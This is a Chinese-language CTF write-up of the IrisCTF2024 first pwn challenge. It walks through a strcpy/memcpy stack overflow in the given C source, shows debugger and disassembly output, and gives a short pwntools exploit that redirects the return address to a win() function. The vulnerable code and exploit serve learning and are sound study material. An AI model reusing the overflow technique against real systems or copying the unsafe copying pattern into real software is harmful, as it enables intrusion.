这题是第一题,别问为什么我不写后面的题,因为只会做第一题。
漏洞的发现
似乎国外的题目很喜欢给源码。那就直接看源码就行.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void rstrip(char* buf, const size_t len)
{//用于把读入的句子最后的回车替换为'\0'的函数
for (int i = len - 1; i >= 0; i--)
if (buf[i] == '\n') {
buf[i] = '\0';
break;
}
}
const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";
int main() {
char message[128];
char name[64];
fgets(name, 64, stdin);//输入点
rstrip(name, 64);//用于把回车替换为'\0'
//接下来三个的cpy函数做得事情就是把三段话拼接起来
strcpy(message, "Hi there, ");
strcpy(message + strlen(message), name);//这个是我们输入的东西,可能可以做手脚
memcpy(message + strlen(message), suffix, sizeof(suffix));
printf("%s\n", message);//最后打印出来
}
__attribute__((section(".flag")))
void win()
{//win函数,一看就是要用来拿flag的函数
__asm__("pop %rdi");
system("cat /flag");
}
看起来程序逻辑也不复杂,似乎就是普通的栈溢出对吧。但是有一个疑点,我输入的name,在栈上的位置并不贴近main函数返回地址,如何才能劫持呢。
当时做得时候确实也不知道,就试着乱发了点东西,比如发0x40个字节
作为name
,看看结果如何。
为了防止图片刷新不出来,我再把文字粘贴过来。
0x40000966 <main+292> mov rdi, rax
0x40000969 <main+295> call puts@plt <puts@plt>
0x4000096e <main+300> mov eax, 0
0x40000973 <main+305> mov rbx, qword ptr [rbp - 8]
0x40000977 <main+309> leave
► 0x40000978 <main+310> ret <0x2e656c706d617865>
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7ffd7ac686f8 ◂— 'example.com'
01:0008│ 0x7ffd7ac68700 ◂— 0x6d6f63 /* 'com' */
02:0010│ 0x7ffd7ac68708 —▸ 0x40000842 (main) ◂— push rbp
03:0018│ 0x7ffd7ac68710 ◂— 0x140000040 /* '@' */
咱返回地址咋变成0x2e656c706d617865
了?栈顶的数据一看,我去。
他刚刚suffix
的的那句话被往后顶了,导致现在example.
的asc码被当作返回地址了。
这里往后顶的原因是刚才message
的操作是先Hi there
,再跟上我的name
,最后跟上他的那句话。看看栈布局就一目了然了。
这时候是Hi there
刚刚被复制到message
,接下来不出意外就是我的name
字符串和suffix
字符串会被复制到下面的位置。
从蓝圈的栈往下就都是message
的内容了,上面是name
的栈空间。
到这里还没有复制完全,返回地址还没被改,但是可以看到rbp
已经被改了。
当复制完全之后,返回地址就被改成了example.
的asc码。
漏洞的利用
现在知道哪里有漏洞了,具体看看这么利用。
咱刚才不是看到了有一个win
函数吗。看看win
函数地址先。
.flag:000000006D6F632E ; int win()
.flag:000000006D6F632E public win
.flag:000000006D6F632E win proc near ; DATA XREF: LOAD:0000000040000130↑o
.flag:000000006D6F632E 55 push rbp
.flag:000000006D6F632F 48 89 E5 mov rbp, rsp
.flag:000000006D6F6332 5F pop rdi
.flag:000000006D6F6333 BF 1F 0A 00 40 mov edi, offset command ; "cat /flag"
.flag:000000006D6F6338 E8 B3 A3 90 D2 call _system
.flag:000000006D6F6338
.flag:000000006D6F633D 90 nop
.flag:000000006D6F633E 5D pop rbp
.flag:000000006D6F633F C3 retn
大概想办法把返回地址改成0x6D6F632E
就行,或者到0x6D6F6333
估计都是可以的。
改返回地址的方法大概率就是利用suffix
的字符串了,现在的问题是需要发送多少个字节才可以达到把返回地址刚好改成0x6D6F632E
。(当然,name
最多也就0x40
个字节,你要是写个脚本一个个试也可以)
我们可以看看把这些地址当作asc码
转成字符试试。我用的是一个asc码转换网站。
这里我运用预知未来的方法得到0x6D6F632E
其实对应.com
,这也正好是suffix
的最后几个字母。
我们刚才的发0x40
得到的返回地址是example.
那我们要.com
只需要少发送8个字节就行(我知道这样看是少发送7个字节,但是实操的时候结果是0x38
也就是少发了8个字节,我估计原因是0x40顶到name
的上限了。
总之思路就是这样了。
上EXP
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("insanity-check.chal.irisc.tf",10003)
io = process("./vuln")
def debug():
gdb.attach(io,
'''
b *0x40000878
''')
debug()
payload = cyclic(0x38)
io.sendline(payload)
io.interactive()
总之就是这样啦。
小结一下
做起来这样的题确实脑洞大,国外的CTF发展水平确实比我们更高,这得承认。做完的感觉是我去,还能这么玩?
很不错的题。
PS:终于考完期末了,寒假继续爽爽的pwn。过段时间要是我觉得堆的认知又可以再写一篇文章了,就在更新一篇。冲冲冲!!